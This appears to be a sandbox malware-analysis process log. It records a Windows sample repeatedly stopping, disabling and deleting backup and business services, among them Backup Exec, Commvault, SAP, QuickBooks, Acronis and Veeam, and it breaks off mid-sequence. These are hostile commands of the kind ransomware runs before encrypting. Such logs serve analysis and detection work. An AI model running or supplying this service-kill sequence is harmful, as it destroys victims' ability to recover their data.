C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecAgentBrowser3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecAgentBrowser start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecAgentBrowser3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecAgentBrowser3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecAgentBrowser4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecAgentBrowser start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecAgentBrowser3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecDiveciMediaService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecDiveciMediaService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecDiveciMediaService start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecDiveciMediaService3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecDiveciMediaService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecDiveciMediaService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecDiveciMediaService start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecDiveciMediaService3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecDiveciMediaService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecDiveciMediaService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecDiveciMediaService start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecDiveciMediaService3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecJobEngine3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecJobEngine start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecJobEngine3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecJobEngine3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecJobEngine start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecJobEngine3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecJobEngine3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecJobEngine4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecJobEngine start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecJobEngine3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecManagementService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecManagementService start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecManagementService3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecManagementService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecManagementService start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecManagementService3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecManagementService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecManagementService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecManagementService start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecManagementService3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecRPCService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecRPCService start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecRPCService3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecRPCService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecRPCService start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecRPCService3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop BackupExecRPCService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop BackupExecRPCService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config BackupExecRPCService start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete BackupExecRPCService3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxBlr3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxBlr4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxBlr start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxBlr3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxBlr3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxBlr4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxBlr start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxBlr3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxBlr3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxBlr4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxBlr start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxBlr3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxVss3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxVss4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxVss start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxVss3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxVss3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxVss4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxVss start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxVss3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxVss3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxVss4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxVss start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxVss3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxClMgrS3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxClMgrS4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxClMgrS start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxClMgrS3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxClMgrS3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxClMgrS4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxClMgrS start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxClMgrS3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxClMgrS3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxClMgrS4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxClMgrS start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxClMgrS3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxCVD3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxCVD4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxCVD start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxCVD3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxCVD3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxCVD4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxCVD start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxCVD3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxCVD3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxCVD4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxCVD start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxCVD3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxCIMgr3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxCIMgr4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxCIMgr start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxCIMgr3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxCIMgr3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxCIMgr4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxCIMgr start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxCIMgr3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxCIMgr3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxCIMgr4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxCIMgr start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxCIMgr3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GXMMM3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GXMMM4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GXMMM start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GXMMM3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GXMMM3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GXMMM4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GXMMM start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GXMMM3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GXMMM3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GXMMM4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GXMMM start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GXMMM3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxVssHWProv3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxVssHWProv4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxVssHWProv start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxVssHWProv3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxVssHWProv3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxVssHWProv4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxVssHWProv start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxVssHWProv3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxVssHWProv3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxVssHWProv4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxVssHWProv start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxVssHWProv3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxFWD3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxFWD4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxFWD start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxFWD3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxFWD3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxFWD4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxFWD start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxFWD3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop GxFWD3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop GxFWD4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config GxFWD start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete GxFWD3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop SAPService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SAPService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SAPService start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete SAPService3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop SAPService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SAPService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SAPService start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete SAPService3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop SAPService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SAPService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SAPService start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete SAPService3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop SAP3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SAP4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SAP start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete SAP3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop SAP3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SAP4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SAP start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete SAP3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop SAP3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SAP4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SAP start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete SAP3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop SAP$3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SAP$4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SAP$ start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete SAP$3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop SAP$3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SAP$4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SAP$ start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete SAP$3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop SAP$3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SAP$4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SAP$ start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete SAP$3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop SAPD$,SAPHostControl3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SAPD$,SAPHostControl4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SAPD$,SAPHostControl start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete SAPD$,SAPHostControl3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop SAPD$,SAPHostControl3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SAPD$,SAPHostControl4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SAPD$,SAPHostControl start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete SAPD$,SAPHostControl3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop SAPD$,SAPHostControl3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SAPD$,SAPHostControl4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SAPD$,SAPHostControl start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete SAPD$,SAPHostControl3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop SAPHostExec3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SAPHostExec4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SAPHostExec start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete SAPHostExec3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop SAPHostExec3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SAPHostExec4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SAPHostExec start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete SAPHostExec3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop SAPHostExec3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop SAPHostExec4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SAPHostExec start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete SAPHostExec3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop QBCFMonitorService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBCFMonitorService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config QBCFMonitorService start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete QBCFMonitorService3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop QBCFMonitorService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBCFMonitorService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config QBCFMonitorService start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete QBCFMonitorService3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop QBCFMonitorService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBCFMonitorService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config QBCFMonitorService start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete QBCFMonitorService3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop QBDBMgrN3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBDBMgrN4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config QBDBMgrN start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete QBDBMgrN3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop QBDBMgrN3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBDBMgrN4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config QBDBMgrN start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete QBDBMgrN3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop QBDBMgrN3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBDBMgrN4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config QBDBMgrN start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete QBDBMgrN3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop QBIDPService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBIDPService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config QBIDPService start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete QBIDPService3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop QBIDPService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBIDPService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config QBIDPService start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete QBIDPService3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop QBIDPService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop QBIDPService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config QBIDPService start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete QBIDPService3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop AcronisAgent3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AcronisAgent4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config AcronisAgent start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete AcronisAgent3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop AcronisAgent3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AcronisAgent4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config AcronisAgent start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete AcronisAgent3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop AcronisAgent3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop AcronisAgent4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config AcronisAgent start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete AcronisAgent3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop VeeamNFSSvc3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config VeeamNFSSvc start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete VeeamNFSSvc3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop VeeamNFSSvc3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config VeeamNFSSvc start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete VeeamNFSSvc3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop VeeamNFSSvc3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamNFSSvc4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config VeeamNFSSvc start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete VeeamNFSSvc3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop VeeamDeploymentService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamDeploymentService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config VeeamDeploymentService start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete VeeamDeploymentService3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop VeeamDeploymentService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamDeploymentService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config VeeamDeploymentService start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete VeeamDeploymentService3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop VeeamDeploymentService3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamDeploymentService4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config VeeamDeploymentService start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete VeeamDeploymentService3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop VeeamTransportSvc3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config VeeamTransportSvc start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete VeeamTransportSvc3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop VeeamTransportSvc3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config VeeamTransportSvc start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete VeeamTransportSvc3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop VeeamTransportSvc3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop VeeamTransportSvc4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config VeeamTransportSvc start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete VeeamTransportSvc3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop MVArmor3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MVArmor4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config MVArmor start=disabled3⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete MVArmor3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop MVArmor3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MVArmor4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config MVArmor start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete MVArmor3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop MVArmor3⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MVArmor4⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config MVArmor start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete MVArmor3⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop MVarmor643⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MVarmor644⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config MVarmor64 start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete MVarmor643⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop MVarmor643⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop MVarmor644⤵
-
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config MVarmor64 start=disabled3⤵
-
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" delete MVarmor643⤵
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" stop MVarmor643⤵
-
